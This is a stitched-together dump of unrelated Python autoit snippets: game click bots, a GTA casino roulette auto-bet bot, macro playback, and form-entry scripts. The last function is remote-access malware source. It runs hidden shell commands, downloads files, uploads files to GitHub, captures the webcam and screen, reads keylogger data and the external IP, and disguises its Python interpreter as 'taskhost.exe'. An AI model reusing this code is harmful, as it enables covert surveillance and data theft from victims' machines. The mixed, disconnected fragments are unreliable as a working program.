def update(): game_window = WindowMgr() game_window.find_window_wildcard(gameWildcard) quest_pos = autoit.mouse_get_pos() print(quest_pos) print(game_window.handle) print("\nHold {} to stop.".format(stopShortcut)) while True: try: prev_mouse_pos = autoit.mouse_get_pos() prev_foreground_window = WindowMgr() prev_foreground_window.foreground_window() game_window.set_foreground() time.sleep(0.040) autoit.mouse_click("left", quest_pos[0], quest_pos[1], 1, 0) prev_foreground_window.set_foreground() autoit.mouse_move(prev_mouse_pos[0], prev_mouse_pos[1], 0) for i in range(clickInterval): if keyboard.is_pressed(stopShortcut): return time.sleep(1) except: continue
def export_letter(letter): autoit.send("#3") time.sleep(2.0) autoit.send("https://login.maximizer.com/MaxLogin") time.sleep(0.5) autoit.send("{ENTER}") time.sleep(3.0) autoit.mouse_move(2801, 421) time.sleep(1.0) # autoit.mouse_click(x=2287, y=278, speed=0) # time.sleep(3.0) autoit.mouse_click(x=2801, y=421, speed=0) time.sleep(5.0) autoit.mouse_click(x=2965, y=414, speed=0) time.sleep(5.0) autoit.mouse_click(x=2273, y=191, speed=0) time.sleep(1.0) autoit.mouse_click(x=2290, y=344, speed=0) time.sleep(1.0) autoit.send(letter + '{ENTER}') time.sleep(5.0) autoit.mouse_click(x=2112, y=186, speed=0) time.sleep(1.0) autoit.mouse_click(x=2165, y=475, speed=0) time.sleep(0.75) autoit.mouse_click(x=2481, y=186, speed=0) time.sleep(3.0) autoit.send('export_%s{ENTER}' % letter) time.sleep(2.0) autoit.mouse_click(x=3819, y=16, speed=0) time.sleep(1.0)
def salvageItems(item): time.sleep(1) autoit.mouse_move(1, 1) time.sleep(0.2) itemTiles = list(pyautogui.locateAllOnScreen(item, confidence=.92)) counter = 0 while len(itemTiles) > 0: while counter < 6 and len(itemTiles) > 0: item = itemTiles.pop() click(item.left + round(item.width / 2), item.top + round(item.height / 2), "right") time.sleep(0.2) counter = counter + 1 counter = 0 button = pyautogui.locateCenterOnScreen("resources\\salvage_btn.png", confidence=.9) click(button.x, button.y) time.sleep(0.2) button = None while button is None: button = pyautogui.locateCenterOnScreen( "resources\\confirm_salvage.png", confidence=.9) click(button.x, button.y) time.sleep(0.2) button = None while button is None: button = pyautogui.locateOnScreen("resources\\job_done.png", confidence=.85) click(button.left + round(button.width / 2), button.top + button.height) time.sleep(0.2) pydirectinput.press("esc") pydirectinput.press("esc")
def focus_bdo(): hwnd, title = _get_bdo() _focus_window(hwnd) autoit.win_activate(title) autoit.mouse_move(962, 526, speed=20) return title
def move(cls, lis): """ :description 移动鼠标指针 :return: """ # pos = autoit.win_get_pos(title, text=text) # autoit.mouse_click(button, x + pos[0], y + pos[1], clicks=clicks) # 使用绝对位置的情况 autoit.mouse_move(lis[0], lis[1])
def right_click_native(self, window_name, x, y): """ Click the left mouse button on a screen location Example: | Left Click Native | 320 | 240 | """ logger.debug("Setting native cursor position to {0},{1}".format(x, y)) logger.debug("Clicking right button") left, top, right, bottom = autoit.win_get_pos(window_name) autoit.mouse_move(left + x, top + y) autoit.mouse_click(button="right", x=left + x, y=top + y)
def goToSmith(): autoit.mouse_move(1, 1) # otworz i kliknij na mapie clickOnMap("resources\\smith.png") # otworz kupowanie rzeczy button = None while button == None: if datetime.now().second % 4 == 0: clickOnMap("resources\\smith.png") button = pyautogui.locateCenterOnScreen("resources\\salvage_items.png", confidence=.8) click(button.x, button.y)
def buyItem(item, item_ch): itemTile = pyautogui.locateOnScreen(item, confidence=.8) if itemTile == None: itemTile = pyautogui.locateOnScreen(item_ch, confidence=.8) purchases = pyautogui.locateAllOnScreen("resources\\purchase.png", confidence=.8) for button in purchases: if itemTile.left < button.left < itemTile.left + itemTile.width and itemTile.top < button.top < itemTile.top + itemTile.height: emptyinv = pyautogui.locateCenterOnScreen( "resources\\no_space.png", confidence=.8) while emptyinv == None: click(button.left + round(button.width / 2), button.top + round(button.height / 2)) time.sleep(0.1) pydirectinput.press("enter") emptyinv = pyautogui.locateCenterOnScreen( "resources\\no_space.png", confidence=.8) time.sleep(0.1) continue pydirectinput.press("esc") pydirectinput.press("esc") autoit.mouse_move(1, 1)
def mover(): monitor = screeninfo.get_monitors() afk = True _X_MAX = monitor[0].width _Y_MAX = monitor[0].height while (afk): try: x = random.randrange(0, _X_MAX) y = random.randrange(0, _Y_MAX) autoit.mouse_move(x, y) targetPos = (x, y) time.sleep(1) currentPos = autoit.mouse_get_pos() # print(currentPos) if targetPos != currentPos: afk = False # print("I'm Out") except: pass
def track(directory): global check_init if cursor[1] > 0: if cursor[2] == 0: cursor[2] = time.time() length_ = 10 if abs(cursor[0][0] - autoit.mouse_get_pos()[0]) > length_ or \ abs(cursor[0][1] - autoit.mouse_get_pos()[1]) > length_: autoit.mouse_move(*cursor[0], speed=0) if time.time() - cursor[2] > cursor[1]: cursor[1] = 0 cursor[2] = 0 elif cursor_down[0]: autoit.mouse_up() autoit.mouse_down() if time.time() - cursor_down[1] > cursor_down[0]: cursor_down[0] = 0 if check_init: init(directory) check_init = False delay = 0.1 time.sleep(delay)
def moveMouse(x, y): autoit.mouse_move(x, y, 3)
def move(self, title, text, x, y): ''' :description 移动鼠标指针 ''' pos = autoit.win_get_pos(title, text=text) autoit.mouse_move(x + pos[0], y + pos[1])
def move(self, title, text, x, y): """移动鼠标指针""" pos = autoit.win_get_pos(title, text=text) #autoit.mouse_move(x + pos[0], y + [pos][1]) autoit.mouse_move(x, y)
def play(log, speed, tlast, debug_mode): st = 0.0 stt = 0.0 tlast -= 0.01 if debug_mode: timer = time.perf_counter() offset_timer = time.perf_counter() for step in log: if step[0] == 'mousemove': t_offset = time.perf_counter() - offset_timer - st # print(t_offset) st = (float(step[-1]) - tlast - t_offset) / speed # print(st) offset_timer = time.perf_counter() if st > 0: time.sleep(st) stt += t_offset autoit.mouse_move(int(step[1]), int(step[2]), 0) tlast = float(step[-1]) continue if step[0] == 'mousepressed': t_offset = time.perf_counter() - offset_timer - st st = (float(step[-1]) - tlast - t_offset) / speed offset_timer = time.perf_counter() if st < 0.0: time.sleep(st) stt += t_offset autoit.mouse_move(int(step[2]), int(step[3]), 0) autoit.mouse_down(step[1]) tlast = float(step[-1]) continue if step[0] == 'mousereleased': t_offset = time.perf_counter() - offset_timer - st st = (float(step[-1]) - tlast - t_offset) / speed offset_timer = time.perf_counter() if st < 0.0: time.sleep(st) stt += t_offset autoit.mouse_move(int(step[2]), int(step[3]), 0) autoit.mouse_up(step[1]) tlast = float(step[-1]) continue if step[0] == 'mousescrolled': t_offset = time.perf_counter() - offset_timer - st st = (float(step[-1]) - tlast - t_offset) / speed offset_timer = time.perf_counter() if st > 0: time.sleep(st) stt += t_offset autoit.mouse_wheel(int(step[2]), int(step[3]), 0) autoit.mouse_up(step[1]) tlast = float(step[-1]) continue if step[0] == 'keypressed': t_offset = time.perf_counter() - offset_timer - st # print(t_offset) st = (float(step[-1]) - tlast - t_offset) / speed offset_timer = time.perf_counter() if st > 0: time.sleep(st) stt += t_offset autoit.send(step[1]) tlast = float(step[-1]) continue if step[0] == 'keyreleased': t_offset = time.perf_counter() - offset_timer - st st = (float(step[-1]) - tlast - t_offset) / speed offset_timer = time.perf_counter() if st > 0: time.sleep(st) stt += t_offset autoit.send(step[1]) tlast = float(step[-1]) continue if step[0] == 'done': print('End playing') if debug_mode: print(time.perf_counter() - timer) print(stt) pass
def play(log, speed, tlast, debug_mode): print("Ready, press 'alt + .' to start") keyboard.wait("alt+.") if debug_mode: timer = time.time() t_offset = time.time() tlast -= 0.1 for step in log: if step[0] == 'mousemove': t_offset = time.time() - t_offset # print(t_offset) time.sleep((float(step[-1]) - tlast - t_offset) / speed) autoit.mouse_move(int(step[1]), int(step[2]), 0) tlast = float(step[-1]) t_offset = time.time() continue if step[0] == 'mousepressed': t_offset = time.time() - t_offset time.sleep((float(step[-1]) - tlast - t_offset) / speed) autoit.mouse_move(int(step[2]), int(step[3]), 0) autoit.mouse_down(step[1]) tlast = float(step[-1]) t_offset = time.time() continue if step[0] == 'mousereleased': t_offset = time.time() - t_offset time.sleep((float(step[-1]) - tlast - t_offset) / speed) autoit.mouse_move(int(step[2]), int(step[3]), 0) autoit.mouse_up(step[1]) tlast = float(step[-1]) t_offset = time.time() continue if step[0] == 'mousescrolled': t_offset = time.time() - t_offset time.sleep((float(step[-1]) - tlast - t_offset) / speed) autoit.mouse_wheel(int(step[2]), int(step[3]), 0) autoit.mouse_up(step[1]) tlast = float(step[-1]) t_offset = time.time() continue if step[0] == 'keypressed': t_offset = time.time() - t_offset time.sleep((float(step[-1]) - tlast - t_offset) / speed) autoit.send(step[1]) tlast = float(step[-1]) t_offset = time.time() continue if step[0] == 'keyreleased': t_offset = time.time() - t_offset time.sleep((float(step[-1]) - tlast - t_offset) / speed) autoit.send(step[1]) tlast = float(step[-1]) t_offset = time.time() continue if step[0] == 'done': print('Lobby settings are all set') if debug_mode: print(time.time() - timer) pass
def throw_hook(tx, ty): global fish autoit.mouse_move(tx, ty, 1) autoit.mouse_click('left') fish = False time.sleep(0.75)
def mouse_click(coordinates, itemPos=0, delta=0): # перемещение курсора x = coordinates[0] + itemPos[0] * delta[0] y = coordinates[1] + itemPos[1] * delta[1] autoit.mouse_move(x, y) autoit.mouse_click("left", x, y)
def moveMouse(x,y): autoit.mouse_move(x,y)
def moveMouse(self, x, y): autoit.mouse_move(x,y,3)
def mouseRotate(): autoit.mouse_move(655, 521) sleep(0.2, 0.6) autoit.mouse_down('right') autoit.mouse_move(670, 521) autoit.mouse_up('right')
def add_household(household): print('>>> Starting entry for %s' % str(household)) autoit.win_activate("Link2Feed Portal - Google Chrome") time.sleep(DEFAULT_TIME) prime = household.primary second = household.secondary autoit.mouse_click("left", 2281, 328) time.sleep(1.0) autoit.send('{TAB}') autoit.send('{DOWN}{DOWN}{DOWN}{DOWN}') time.sleep(DEFAULT_TIME) autoit.send('{ENTER}') autoit.send('{TAB}') time.sleep(DEFAULT_TIME) if prime.last_visit: visit_date = datetime.strptime( prime.last_visit.replace('00:00:00', '').replace('MST', '').replace('MDT', ''), "%a %b %d %Y") autoit.send(visit_date.strftime(DATE_FORMAT)) else: autoit.send(prime.creation_date.strftime(DATE_FORMAT)) autoit.send('{TAB}{UP}{TAB}') autoit.send(prime.last_name.upper()) autoit.send('{TAB}') autoit.send(prime.first_name.upper()) autoit.send('{TAB}') time.sleep(DEFAULT_TIME) autoit.send(prime.birthdate.strftime(DATE_FORMAT)) time.sleep(DEFAULT_TIME) autoit.send('{TAB}') time.sleep(1.0) if hex(autoit.pixel_get_color(2877, 223)) == '0xf4b04f': write_duplicate(prime.first_name, prime.last_name, prime.birthdate) print('duplicate detected: %s' % str(prime)) autoit.mouse_click("left", 3816, 15) time.sleep(4.0) autoit.send('{ENTER}') time.sleep(4.0) autoit.send('#3') time.sleep(10.0) autoit.mouse_click("left", 2246, 54) autoit.send('https://portal.link2feed.ca/org/2191/intake/') time.sleep(DEFAULT_TIME) autoit.send('{ENTER}') time.sleep(6.0) return autoit.send('{TAB}') if prime.gender == "female": autoit.send('{DOWN}') elif prime.gender == "male": autoit.send('{DOWN}{DOWN}') else: autoit.send('{DOWN}{DOWN}{DOWN}{DOWN}') time.sleep(DEFAULT_TIME) autoit.send('{ENTER}') if not second: autoit.mouse_click("left", 2206, 807) elif household.relationship == 'commonlaw': autoit.mouse_click("left", 2474, 808) elif household.relationship == 'spouse': autoit.mouse_click("left", 2207, 831) else: autoit.mouse_click("left", 3011, 807) time.sleep(DEFAULT_TIME) autoit.mouse_move(3832, 317, 0) time.sleep(DEFAULT_TIME) autoit.mouse_down("left") autoit.mouse_move(3832, 716) autoit.mouse_up("left") autoit.mouse_click("left", 2206, 171) autoit.mouse_click("left", 2922, 224) autoit.mouse_click("left", 3011, 680) click_point_from_city(prime.city) if prime.income == "Student Scholarship": autoit.mouse_click("left", 2207, 915) else: autoit.mouse_click("left", 2205, 964) if prime.phone: fixed_phone = prime.phone.replace('(', '').replace(')', '').replace('-', '') if len(fixed_phone) == 10: autoit.mouse_click("left", 2245, 486) time.sleep(DEFAULT_TIME) autoit.send(fixed_phone) autoit.mouse_wheel("down", 20) time.sleep(DEFAULT_TIME) member_count = 0 if household.secondary: member_count += 1 success = add_member(household.secondary, household.relationship, 1) if not success: return # for child in household.children: # member_count += 1 # success = add_member(child, 'child', member_count) # if not success: # return autoit.mouse_click("left", 3726, 966) time.sleep(3.0) autoit.mouse_click("left", 2248, 547) time.sleep(DEFAULT_TIME) autoit.send('+{TAB}') time.sleep(DEFAULT_TIME) down_count = 1 if not prime.income: down_count = 5 elif prime.income == 'Child Benefits': down_count = 2 elif prime.income == 'Disability / PWD': down_count = 3 elif prime.income == 'Employment Insurance': down_count = 4 elif prime.income == 'OAP / CPP': down_count = 6 elif prime.income == 'Social Assistance': down_count = 8 elif prime.income == 'Student Scholarship': down_count = 10 elif prime.income == 'Works Casual': down_count = 11 elif prime.income == 'Works Full-Time': down_count = 12 else: down_count = 13 for i in range(down_count): autoit.send('{DOWN}') autoit.send('{ENTER}') time.sleep(DEFAULT_TIME) autoit.mouse_click("left", 2246, 535) if not household.secondary: autoit.mouse_click("left", 3737, 736) else: autoit.mouse_click("left", 3738, 871) time.sleep(1.5) autoit.mouse_click("left", 3747, 769) time.sleep(1.5) autoit.mouse_click("left", 2762, 193) time.sleep(1.5) autoit.mouse_click("left", 3765, 353) time.sleep(DEFAULT_TIME) if prime.dietary: prime.dietary = prime.dietary.replace('+', '').replace('^', '').replace( '!', '').replace('#', '') autoit.send('--DIET--{ENTER}') autoit.send(prime.dietary.replace('\n', '{ENTER}')) autoit.send('--DIET--{ENTER}') if prime.notes: prime.notes = prime.notes.replace('+', '').replace('^', '').replace( '!', '').replace('#', '') autoit.send(prime.notes.replace('\n', '{ENTER}')) if household.children: autoit.send('Children: %s {ENTER}' % [child.age for child in household.children]) if prime.comments: prime.comments = prime.comments.replace('+', '').replace('^', '').replace( '!', '').replace('#', '') autoit.send(prime.comments.replace('\n', '{ENTER}')) autoit.mouse_click("left", 3113, 487) time.sleep(1.5) # Check for green services in case something went wrong if hex(autoit.pixel_get_color(2611, 192)) != '0x43a543': print('>>> Entry failed: green services check: %s' % hex(autoit.pixel_get_color(2611, 192))) exit(1) autoit.mouse_click("left", 2462, 49) time.sleep(DEFAULT_TIME) autoit.send('https://portal.link2feed.ca/org/2191/intake/') autoit.send('{ENTER}') print(">>> Finished entry for %s" % str(household))
def mouse_move(cls, x, y, speed=-1): return autoit.mouse_move(x, y, speed=speed)
def mouse_move(coordinates, posX, posY, delta): # перемещение курсора x = coordinates[0] + posX * delta[0] y = coordinates[1] + posY * delta[1] autoit.mouse_move(x, y)
def mouseRotate(): autoit.mouse_move(655, 521) sleep(0.2, 0.6) autoit.mouse_down('right') autoit.mouse_move(670, 521) autoit.mouse_up('right')
def clickOnMap(who): pydirectinput.keyDown("tab") button = pyautogui.locateCenterOnScreen(who, confidence=.8) click(button.x, button.y) pydirectinput.keyUp("tab") autoit.mouse_move(1, 1)
def click(x, y, button="left"): autoit.mouse_move(x, y) autoit.mouse_down(button) time.sleep(0.2) autoit.mouse_up(button)
def mainThread(): global inputBet, inputColor print( "\n\n\nWelcome to the gta casino roulette autobet bot. Please put your game in Windowed mode" ) inputBet = int(input("Enter base bet (ex. 1500): ")) inputColor = input("Enter bet color (ex. red, black, green): ") print("\nPress 'END' to toggle the script ON/OFF \n\n\n") bet_color = inputColor small_bet = inputBet betting_target = inputBet finished_betting = False lastmoney = 0 lastcolor = "" rounds_played = 0 increased = False bet_list = [100, 500, 1000, 5000, 10000] while True: if startScript: frame = getFrame() time = get_time(frame) if time != 0: if finished_betting == False: print("Current time: ", time) current_money = get_current_Money(frame) current_bet = get_current_Bet(frame) currentColor = get_last_color(frame) center_frame = [frame.size[0] / 2, frame.size[1] / 2] if current_money < lastmoney and rounds_played != 0 and increased == False: print("bet target increased") betting_target *= 2 increased = True elif current_money >= lastmoney: betting_target = small_bet if current_bet == betting_target: rounds_played += 1 print("\n\n") print("Rounds played: ", rounds_played) print("Current color: ", currentColor) print("Last color: ", lastcolor) print("Current money: ", current_money) print("Current bet: ", current_bet) print("Current target: ", betting_target) print("\n\n") lastmoney = current_money lastcolor = currentColor finished_betting = True else: #increment bet for i in range(5): pressKey(DIK_ARROW_DOWN) sleep(0.07) releaseKey(DIK_ARROW_DOWN) if bet_color == "red": autoit.mouse_move(int(center_frame[0] - 90), int(center_frame[1] + 330)) elif bet_color == "black": autoit.mouse_move(int(center_frame[0] + 90), int(center_frame[1] + 330)) elif bet_color == "green": autoit.mouse_move(int(center_frame[0] - 550), int(center_frame[1]) - 75) for k in reversed(bet_list): temp = (betting_target - current_bet) - k if temp >= 0: for x in range(bet_list.index(k)): pressKey(DIK_ARROW_UP) sleep(0.09) releaseKey(DIK_ARROW_UP) autoit.mouse_down("left") sleep(0.15) autoit.mouse_up("left") break else: finished_betting = False increased = False else: releaseFrame()
def pre_cmd(s: str, directory='', v=False): global current_path, infoA, cursor_down if v: return 9, 6 # ? variables = { 'script_dir': directory, 'images': os.path.join(directory, 'images'), 'executables': os.path.join(directory, 'executable'), 'path': current_path, 'keylog': os.path.join(directory, keylog_file), } for k, v in variables.items(): s = s.replace(f'?{k}', v) cmd_name, *args = list( map(lambda x: x.strip('"').strip("'"), shlex.split(s, posix=False))) if cmd_name == '.exe': if len(args) == 1: work = os.path.join(directory, 'executable') name = to_exe(args[0]) folder = name[:-4] if os.path.exists(os.path.join(work, folder, name)): t = temp(os.path.join(work, folder, name), 'z1MSImc4eBoAd') command(t) return b'' return 'Unknown exe'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.cls': if args: name = to_exe(args[0]) s = f'taskkill /f /im {name}' command(s) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.download': if len(args) == 2: urlretrieve(args[1], args[0]) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.upload': if len(args) == 3: path, token, repo = args try: z = github_upload(token, repo, path) except Exception as e: return f'Error: {e}'.encode('cp866') z = z.replace("/", "%5").replace("\\", "%5") return f'{load_prefix}aantr/{repo}/{z}'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.bg': if len(args) == 1: p = args[0] if p == 'A': infoA = not infoA return str(infoA).encode('cp866') ims = os.listdir(variables['images']) if p in map(lambda j: j if '.' not in j else j[:j.rfind('.')], ims): for i in ['.jpg', '.png', '.bmp']: if p + i in ims: p = p + i break if os.path.exists(os.path.join(variables['images'], p)): set_wallpaper(os.path.join(variables['images'], p), infoA) return b'' return 'No such im'.encode('cp866') else: return 'Wrong syntax'.encode('cp866') elif cmd_name == '.ls': if len(args) == 1: p = args[0] if p == 'root': current_path = '' elif p == '..' and current_path: current_path = os.path.split(current_path)[0] elif os.path.isdir(os.path.join(current_path, p)): current_path = os.path.join(current_path, p) else: return 'No such dir'.encode('cp866') return b'' elif not args: if current_path == '': return '\n'.join(['\n'] + get_disks()).encode('cp866') return '\n'.join([current_path] + os.listdir(current_path)).encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.curs': if len(args) == 1: t = args[0] sleep_cursor(float(t)) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.note': if len(args) == 2: time_sleep = float(args[0]) time.sleep(time_sleep) t = args[1] write_notepad(t) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.f4': if len(args) == 1: t = float(args[0]) time.sleep(t) close_active_win() return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.write': if len(args) == 2: time_sleep = float(args[0]) time.sleep(time_sleep) autoit.send(args[1]) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.movecurs': if len(args) == 2: time_sleep = float(args[0]) time.sleep(time_sleep) for i in args[1:]: x, y = autoit.mouse_get_pos() i = i.split('.') autoit.mouse_move(x + int(i[0]), y + int(i[1]), speed=-1) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.downcurs': if len(args) == 1: t = float(args[0]) cursor_down[0], cursor_down[1] = t, time.time() return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.print': return ' '.join(args).encode('cp866') elif cmd_name == '.download_exe': if not args: download_folders(check=False) return b'' return 'Wrong syntax'.encode('cp866') elif cmd_name == '.get_layout': if not args: return str(keylogger.get_layout()).encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.get_ip': if not args: hostname = socket.gethostname() ip = socket.gethostbyname(hostname) return f'{ip} | {hostname}'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.get_external_ip': if not args: ip = urllib.request.urlopen('http://ident.me').read().decode( 'utf8') return f'{ip}'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.get_modules': if not args: get_modules() return f'ok'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.ss': if not args: path = os.path.join(directory, 'ss.png') with mss() as sct: out = sct.shot(output=path) return f'{out}'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.cam': if not args: path = os.path.join(directory, 'cam.png') cam = pygame.camera.Camera(pygame.camera.list_cameras()[0], (640, 480)) cam.start() img = cam.get_image() pygame.image.save(img, path) cam.stop() return f'{path}'.encode('cp866') return 'Wrong syntax'.encode('cp866') elif cmd_name == '.pip': if not args: args = ['install', *pip_install] python = os.path.join(os.path.split(directory)[0], 'taskhost.exe') startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW p = subprocess.Popen([python, '-m', 'pip', *args], startupinfo=startupinfo, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() modules() return f'{p[0]}{p[1]}'.encode('cp866') # return 'Wrong syntax'.encode('cp866') elif s[0] != '.': if s[0] == '?': msg = command(s[1:], True) return msg elif s[0] == '!': command(s[1:]) return 'Submitted'.encode('cp866') return 'No such command'.encode('cp866')